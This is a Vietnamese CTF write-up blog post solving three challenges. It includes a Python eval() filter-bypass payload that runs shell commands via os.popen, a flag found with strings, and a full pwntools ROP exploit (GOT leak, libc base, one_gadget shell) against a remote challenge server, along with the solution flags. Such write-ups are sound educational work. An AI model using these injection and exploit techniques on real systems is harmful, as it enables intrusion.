WRITE-UP ChristCTF (PTIT)

Hello các bạn 😀
Nay mình xin chia sẻ một số kiến thức cơ bản của một “noober” 😥 qua mấy bài CTF khá là thú vị :v

1. Mini Con cu lay tờ (WEB)

Xem đề cho gì nào

Đề bài cho 1 cái máy tính và nó có thể tính mọi phép tính và ta vừa nhập vào. Wao =))))
Sau mội hồi fuzzing mình tìm được server dùng Python phiên bản 3.8.12. Như vậy, mình đoán backend code như sau: Họ dùng hàm eval() trong Python để tính kết quả trong request gửi lên, và trả về cho chúng ta kết quả thu được. Việc sử dụng hàm này là vô cùng nguy hiểm, và mình nghĩ ngay đến việc khai thác lỗi Command Injection. Bạn đọc có thể tìm hiểu thêm ở đây.
Đến đây mình dùng tiếp tục fuzzing các payload hay sử dụng và mình nhận thấy server đã filter system, subprocess, …

Mình bypass nó bằng cách cộng các chuỗi lại thành từng từ, và chạy được luôn :v

Tiến hành đọc flag :v
Final payload: eval("__import__('o'+'s').po"+"pen('cat FL4G.txt').read()")

Flag: ChristCTF{M1N1_G1FT_4_XMA5}

2. Re01 (Reverse Engineering)

Đề cho 1 file exe yêu cầu nhập pass và nó sẽ cho flag

Bài này mình làm theo hướng unintended ¯\_(ツ)_/¯
Mình dùng strings grep chuỗi là ra. ($ strings Re01.exe)

Flag: ChristCTF{ch0_k3o_h4y_b1_gh3o_434f094243153c30415f75d3202a10e2}

3. Santa (Pwn)

Mình xin cảm ơn 1 anh trong team đã support nhiệt tình cho mình bài này (ノ^_^)ノ

Bài này mình lười nên code luôn và mình có giải thích trong code ^_^

#!/usr/bin/env python3
from pwn import *

def start(argv=[], *a, **kw):
    return remote('45.119.84.224', 9998, *a, **kw)

exe = './santa'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

pop_rdi = 0x400b23
ret = 0x400646

io = start()
# bof tu gets(s2) o ham level1()
# ghi de s1, s2
payload = b'\x00' * 20
# ghi de ret addr su dung rop chain
payload += flat({
  0: [
    pop_rdi,
    elf.got.puts,
    elf.plt.puts,
    ret,
    elf.sym._start,
  ]
})

io.sendlineafter(b'>>> ', b'1')
# leak addr va bat dau chuong trinh lai
io.sendlineafter(b'>>> ', payload)
io.sendlineafter(b'>>> ', b'1')
io.recvuntil(b'You lose in level 2\n')
leak = u64(io.recvline()[:6].ljust(8, b"\x00"))
print(hex(leak))
libc_base = leak - 0x080aa0
one_gadget = libc_base + 0x10a41c

payload = b'\x00' * 20
payload += p64(one_gadget)
io.sendlineafter(b'========\n', b'1')
# ghi de ret addr cua ham level1() vs one_gadget addr
io.sendlineafter(b'>>> ', payload)
io.sendlineafter(b'>>> ', b'2000')
io.interactive()

Tiến hành lấy flag

Flag: ChristCTF{S4nt4_7e11_m3}

Covid ơi xin nhanh đi đi…

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: